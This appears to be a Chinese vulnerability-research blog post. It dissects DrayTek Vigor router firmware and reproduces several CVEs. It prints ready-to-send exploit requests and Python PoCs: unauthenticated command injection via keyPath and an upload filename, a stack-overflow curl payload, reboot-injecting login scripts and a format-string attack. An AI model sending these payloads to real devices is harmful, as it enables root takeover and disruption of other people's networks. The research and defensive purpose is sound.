简介
Draytek是一个台湾网络设备厂商,其产品存在一些远程命令注入漏洞和溢出类漏洞,其中CVE-2020-8515不需要登陆即可执行,主要影响了DrayTek Vigor网络设备,包括企业交换机、路由器、负载均衡器和VPN网关。
官网提供了固件下载和ftp服务器地址,方便我们直接下载固件,十分良心
firmwares:https://www.draytek.com/support/latest-firmwares/
ftp: https://fw.draytek.com.tw/
漏洞介绍
CVE官网查询漏洞如下,CVE-2020-8515漏洞修复后,新的固件还是存在漏洞
2.pngFOFA搜索 title="Vigor 2960"
分析Vigor2960固件下载1.5.0版本
4.pngbinwalk查看固件
5.png用ubi_reader提取固件
GIthub:https://github.com/jrspruitt/ubi_reader
ubireader_extract_files Vigor2960_v1.5.0.all
6.png
服务器为lighttpd
cgi
服务如下
查看main
函数
int __fastcall main(int a1, char **a2, char **a3)
{
char *v4; // r0
const char *v5; // r4
int v6; // r0
int v7; // r0
char **v8; // r0
int v9; // r1
int Value; // r5
int v11; // r4
const char *v12; // r5
const char *v13; // r4
int v14; // r0
char *v15; // r0
char *v16; // r4
char *v17; // r0
char *v18; // r4
char *v19; // r0
char *v20; // r4
char *v21; // r5
int v22; // r8
time_t v23; // r7
char *v24; // r0
unsigned int v25; // r0
char *v26; // r0
int v27; // r0
int v28; // r4
int v29; // r0
char v31[56]; // [sp+0h] [bp-38h] BYREF
dword_43D34 = cgiInit(a1, a2);
dword_43D2C = (int)a3;
v4 = getenv("PATH_INFO");
v5 = v4;
if ( v4 )
{
if ( !strcmp(v4, "/webrestore") )
{
if ( sub_18C04(0) > 3 )
sub_14364(a3);
goto LABEL_82;
}
if ( !strcmp(v5, "/fwupload") )
{
v6 = sub_18C04(0);
if ( v6 > 3 )
v6 = sub_1422C(a3);
goto LABEL_78;
}
if ( !strcmp(v5, "/webfwupgrade") )
{
if ( sub_18C04(0) > 3 )
sub_B1F8();
goto LABEL_82;
}
if ( !strcmp(v5, "/fwupgrade_auto") )
{
if ( sub_18C04(0) > 3 )
sub_15ED4();
goto LABEL_82;
}
if ( !strcmp(v5, "/modupgrade_app") )
{
if ( sub_18C04(0) <= 3 )
goto LABEL_82;
v7 = 0;
goto LABEL_25;
}
if ( !strcmp(v5, "/modupgrade") )
{
if ( sub_18C04(0) <= 3 )
goto LABEL_82;
v8 = a3;
v9 = 0;
goto LABEL_29;
}
if ( !strcmp(v5, "/patupgrade_auto") )
{
if ( sub_18C04(0) <= 3 )
goto LABEL_82;
v7 = 1;
LABEL_25:
sub_15DEC(v7);
goto LABEL_82;
}
if ( !strcmp(v5, "/patupgrade") )
{
if ( sub_18C04(0) <= 3 )
goto LABEL_82;
v8 = a3;
v9 = 1;
LABEL_29:
sub_23084(v8, v9);
goto LABEL_82;
}
if ( !strcmp(v5, "/login") )
{
if ( sub_18C04(0) == 1 )
sub_20054(a3);
}
else if ( !strcmp(v5, "/uploadlangs") )
{
if ( sub_18C04(0) > 3 )
sub_1346C(a3);
}
else if ( !strcmp(v5, "/trustcaupload") )
{
if ( sub_18C04(0) > 3 )
sub_140BC(a3);
}
else if ( !strcmp(v5, "/usercetificateupload") )
{
if ( sub_18C04(0) > 3 )
sub_13F4C(a3);
}
else if ( !strcmp(v5, "/userkeyupload") )
{
if ( sub_18C04(0) > 3 )
sub_13DC8(a3);
}
else if ( !strcmp(v5, "/certificaterequestupload") )
{
if ( sub_18C04(0) > 3 )
sub_13C70(a3);
}
else if ( !strcmp(v5, "/cvmupload") )
{
Value = cgiGetValue(dword_43D34, "dir");
v11 = cgiGetValue(dword_43D34, "file");
if ( sub_18C04(v11) == 7 )
sub_13AB8(a3, Value, v11);
}
else if ( !strcmp(v5, "/apmupload") )
{
v12 = (const char *)cgiGetValue(dword_43D34, "dir");
v13 = (const char *)cgiGetValue(dword_43D34, "file");
v14 = printf("[cvmupload]: %s, %s\n", v12, v13);
if ( sub_18C04(v14) == 7 )
sub_137E0(a3, v12, v13);
}
else if ( !strcmp(v5, "/fwupgrade") )
{
v15 = getenv("REQUEST_URI");
v16 = strstr(v15, "file=");
if ( ((int (*)(void))sub_18C04)() == 7 )
sub_16284(a3, v16 + 5);
}
else if ( !strcmp(v5, "/apmconfigbackup") )
{
v17 = getenv("REQUEST_URI");
v18 = strstr(v17, "file=");
if ( ((int (*)(void))sub_18C04)() == 7 )
sub_160B4(a3, v18 + 5);
}
else if ( !strcmp(v5, "/apmmapdownload") )
{
v19 = getenv("REQUEST_URI");
v20 = strstr(v19, "file=");
if ( ((int (*)(void))sub_18C04)() == 7 )
sub_15F60(a3, v20 + 5);
}
else if ( !strcmp(v5, "/cvmcfgupload") || !strcmp(v5, "/apmcfgupload") )
{
v21 = getenv("QUERY_STRING");
v22 = strcmp(v5, "/apmcfgupload");
if ( v21 )
{
memset(v31, 0, 0x20u);
v23 = time(0);
v24 = strstr(v21, "session=");
if ( !v24
|| (snprintf(v31, (size_t)"%s", v24 + 8, 11), v25 = strtoul(v31, 0, 10), v23 - (v25 ^ (v25 << 16)) <= 0x64) )
{
sub_13544(a3, v21, v22 == 0);
}
}
}
else if ( !strcmp(v5, "/cfgimport") )
{
if ( ((int (*)(void))sub_18C04)() > 3 )
sub_221D0(a3);
}
else if ( !strcmp(v5, "/commonupload") )
{
if ( ((int (*)(void))sub_18C04)() > 3 )
sub_21268(a3);
}
else
{
v6 = strcmp(v5, "/swmconfigupload");
if ( v6 )
{
LABEL_78:
cgiHeader(v6);
goto LABEL_82;
}
if ( ((int (*)(void))sub_18C04)() > 3 )
sub_163FC(a3);
}
}
else
{
v26 = (char *)cgiGetValue(dword_43D34, "action");
if ( v26 )
{
v27 = sub_B44C(v26);
v28 = v27;
if ( v27 )
{
v29 = (*(int (**)(void))(v27 + 8))();
(*(void (__fastcall **)(int))(v28 + 4))(v29);
}
}
}
LABEL_82:
cgiFree(dword_43D34);
return 0;
}
获取环境变量PATH_INFO
然后比较路径,这是一种逻辑
跳过上述匹配逻辑后,我们本次分析的漏洞点位于下图,获取action
的值传入sub_B44C
遍历43408存储的路径确定执行该动作的函数
12.png 11.pngCVE-2020-8515
漏洞描述
DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1.
漏洞分析
我们根据expdatabase的exp具体分析下此漏洞成因
link:https://www.exploit-db.com/exploits/48268
// payload preparation
vulnerableFile := "/cgi-bin/mainfunction.cgi"
// specially crafted CMD
// action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
漏洞存在于处理login的函数中
login.png开始分析函数sub_2B33B
获取用户输入的keyPath
参数,AD58
函数对参数进行检查
检查函数实现如下
14.png过滤了一些常见的命令注入,但是依旧可以通过%0a
绕过
snprintf
拼接命令之后使用,使用封装的命令执行
封装命令执行的函数如下,是调用popen
实现
命令执行测试
action=login&keyPath=%27%0Aid%0A%27&loginUser=gkF0JfrzT3TUkBQqVksNrs/Zc98wwGJwuPvKf+n2sJetI6HTxKCtS5bFHh71uUzBoL7M8eo+iEZUIwahjuD1kw==&loginPwd=kl9HgL6nk94YAv9jibub9rTz7ma1LnL0zRsIkm6Fv75tKz1QsDf6ujULSyXEyGWpwLQGkuJ86XDFmo5eHVzvFg==&formcaptcha=bnVsbA==&rtick=null
18.png
存在空格的命令执行
action=login&keyPath=%27%0Aexpr${IFS}1000${IFS}-${IFS}9%0A%27&loginUser=gkF0JfrzT3TUkBQqVksNrs/Zc98wwGJwuPvKf+n2sJetI6HTxKCtS5bFHh71uUzBoL7M8eo+iEZUIwahjuD1kw==&loginPwd=kl9HgL6nk94YAv9jibub9rTz7ma1LnL0zRsIkm6Fv75tKz1QsDf6ujULSyXEyGWpwLQGkuJ86XDFmo5eHVzvFg==&formcaptcha=bnVsbA==&rtick=null
17.png
CVE-2020-15415
漏洞描述
On DrayTek Vigor3900, Vigor2960, and Vigor300B devices before 1.5.1, cgi-bin/mainfunction.cgi/cvmcfgupload allows remote command execution via shell metacharacters in a filename when the text/x-python-script content type is used, a different issue than CVE-2020-14472.
漏洞分析
找到一个相关poc
Github:https://github.com/CLP-team/Vigor-Commond-Injection
POST /cgi-bin/mainfunction.cgi/cvmcfgupload?1=2 HTTP/1.1
Host: xxx.xxx.xxx.xxx:xxxx
Content-Length: 174
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en;q=0.9,zh-CN;q=0.8,la;q=0.7
Connection: close
------WebKitFormBoundary
Content-Disposition: form-data; name="abc"; filename="t';id;echo '1_"
Content-Type: text/x-python-script
------WebKitFormBoundary--
根据cvmcfgupload
定位到漏洞位置,v21是取URL中的参数,如果参数是session
如果不存在走到sub_13544
,这里我们随意输入键值对即可
跟进sub_13544
函数
拼接字符串执行,我们只需要用两个单引号闭合格式化字符串中的两个单引号,再加个_
就可以走到执行system函数的逻辑。
测试后的POC
POST /cgi-bin/mainfunction.cgi/cvmcfgupload?a=b HTTP/1.1
Host: xx.xx.xx.xx
Content-Length: 153
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; filename="t';id;echo '1_"
Content-Type: text/x-python-script
------WebKitFormBoundary--
规则防护
新增规则
CVE-2020-14993
漏洞描述
A stack-based buffer overflow on DrayTek Vigor2960, Vigor3900, and Vigor300B devices before 1.5.1.1 allows remote attackers to execute arbitrary code via the formuserphonenumber parameter in an authusersms action to mainfunction.cgi.
漏洞分析
这边我首先通过action执行的操作去搜索函数authusersms
,但是居然搜不到。。。
于是我通过参数定位了函数,在返回去看为何看对应action字符串找不到
22.png发现这边字符串实际上没问题,不知道为何IDA 不识别
23.png直接看函数sub_27B48
,就是个简单的栈溢出
找到个EXP:
curl -d "action=authusersms&custom1=1;&custom2=1&custom3=1&formuserphonenumber=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xEC\xC7\x01&URL=www.baidu.com&HOST=123456897&serverip=";ls;echo 'pwn it';&filename=pwn" -X POST http://192.168.0.250/cgi-bin/mainfunciton.cgi
Github:https://github.com/dexterone/Vigor-poc
CVE-2021-43118
漏洞描述
A Remote Command Injection vulnerability exists in DrayTek Vigor 2960 1.5.1.3, DrayTek Vigor 3900 1.5.1.3, and DrayTek Vigor 300B 1.5.1.3 via a crafted HTTP message containing malformed QUERY STRING in mainfunction.cgi, which could let a remote malicious user execute arbitrary code.
漏洞分析
根据poc分析漏洞点在"action"为 "authuser"时,函数为sub_2BA74
POC link:https://gist.github.com/Cossack9989/6034c077f46e4f06d0992e9f2fae7f26
28.pngfrom sys import argv
from base64 import b64encode
import requests
data = {
"URL": "192.168.1.1",
"HOST": "http://192.168.1.1",
"action": "authuser",
"formusername": b64encode(b"admin").decode(),
"formpassword": b64encode(b"admin'&&reboot&&echo '").decode(),
"PHONENUMBER": argv[1]
}
header = {
"Content-Type": "application/raw"
}
url = {
"root": "http://192.168.1.1:80",
"cgi": {
"root": "/cgi-bin",
"uri": {
"mf": "/mainfunction.cgi",
}
}
}
def build_url(p1, p2=None):
if p2:
return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
else:
return url["root"] + url[p1]
session = requests.session()
session.post(build_url("cgi", "mf"), data=data, headers=header)
拿到password并解码
26.png检查完之后又命令注入了
25.png这个漏洞好像需要用户名和密码,未成功执行,也可能是我执行有问题
27.png其他CVE漏洞思路简介
设备还存在其他CVE漏洞,但是基本都是些溢出类漏洞,而且需要登陆后触发,就不再详细复现,仅做简单介绍
栈溢出类
这几个设备都没有开任何保护措施,exp都是控制PC寄存器直接Return2shellcode,下面几个CVE为同一人发现,参考链接:
https://slashd.ga/2020/03/draytek-vulnerabilities/
29.png-
CVE-2020-10823 Stack-based buffer overflow in
/cgi-bin/activate.cgi
throughvar
variable. The vulnerability allows to execute code by remote unauthorized attacker. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1 -
CVE-2020-10824 Stack-based buffer overflow in
/cgi-bin/activate.cgi
throughticket
variable. The vulnerability allows to execute code by remote unauthorized attacker. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1 -
CVE-2020-10825 Stack-based buffer overflow in
/cgi-bin/activate.cgi
through base64-decodingticket
variable. The vulnerability allows to execute code by remote unauthorized attacker. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1 -
CVE-2020-10826 Command-injection in
/cgi-bin/activate.cgi
inDEBUG
mode. The vulnerability allows to execute system command by remote unauthorized attacker if device works inDEBUG
mode. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1 -
CVE-2020-10827 Stack-based buffer overflow in
apmd
service. The vulnerability allows to execute remote code by unauthorized attacker. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1 -
CVE-2020-10828 Stack-based buffer overflow in
cvmd
service. The vulnerability allows to execute remote code by unauthorized attacker. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1
格式化字符串类
- CVE-2021-42911A Format String vulnerability exists in DrayTek Vigor 2960 <= 1.5.1.3, DrayTek Vigor 3900 <= 1.5.1.3, and DrayTek Vigor 300B <= 1.5.1.3 in the mainfunction.cgi file via a crafted HTTP message containing malformed QUERY STRING, which could let a remote malicious user execute arbitrary code.
POC
from base64 import b64encode
import requests
data = {
"action": "login",
"formusername": b64encode(b"%s%s%s%s%s%s%s%s%n%n%n%n%n").decode(),
"formpassword": b64encode(b"12345678").decode(),
"formcaptcha": b64encode(b"123456").decode(),
"rtick": "2345678"
}
header = {
"Content-Type": "application/raw"
}
url = {
"root": "http://192.168.1.1:80",
"cgi": {
"root": "/cgi-bin",
"uri": {
"mf": "/mainfunction.cgi",
}
}
}
def build_url(p1, p2=None):
if p2:
return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
else:
return url["root"] + url[p1]
session = requests.session()
r = session.post(build_url("cgi", "mf"), data=data, headers=header)
print(r)
参考链接:https://gist.github.com/Cossack9989/e9c1c2d2e69b773ca4251acdd77f2835
XSS漏洞
路由器管理页面存在XSS,使用普通XSS测试方法即可,不再详细介绍
其他命令注入
有两个命令注入给我们提供了一些新思路
CVE-2021-43118和CVE-2020-14472,这两个CVE都是将payload进行base64解码后再执行逻辑,我们进行fuzz时也要考虑到
POC of CVE-2021-43118
link:https://gist.github.com/Cossack9989/6034c077f46e4f06d0992e9f2fae7f26
from sys import argv
from base64 import b64encode
import requests
data = {
"URL": "192.168.1.1",
"HOST": "http://192.168.1.1",
"action": "authuser",
"formusername": b64encode(b"admin").decode(),
"formpassword": b64encode(b"admin'&&reboot&&echo '").decode(),
"PHONENUMBER": argv[1]
}
header = {
"Content-Type": "application/raw"
}
url = {
"root": "http://192.168.1.1:80",
"cgi": {
"root": "/cgi-bin",
"uri": {
"mf": "/mainfunction.cgi",
}
}
}
def build_url(p1, p2=None):
if p2:
return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
else:
return url["root"] + url[p1]
session = requests.session()
session.post(build_url("cgi", "mf"), data=data, headers=header)
POC of CVE-2020-14472
link:https://gist.github.com/Cossack9989/fa9718434ceee4e6d4f6b0ad672c10f1
from sys import argv
from base64 import b64encode
import requests
data = {
"URL": "192.168.1.1",
"HOST": "http://192.168.1.1",
"action": "authuser",
"formusername": b64encode(b"test").decode(),
"formpassword": b64encode(b"12345678`reboot`").decode(),
"PHONENUMBER": argv[1] # the known phone number
}
header = {
"Content-Type": "application/raw"
}
url = {
"root": "http://192.168.1.1",
"cgi": {
"root": "/cgi-bin",
"uri": {
"mf": "/mainfunction.cgi",
}
}
}
def build_url(p1, p2=None):
if p2:
return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
else:
return url["root"] + url[p1]
session = requests.session()
session.post(build_url("cgi", "mf"), data=data, headers=header)
网友评论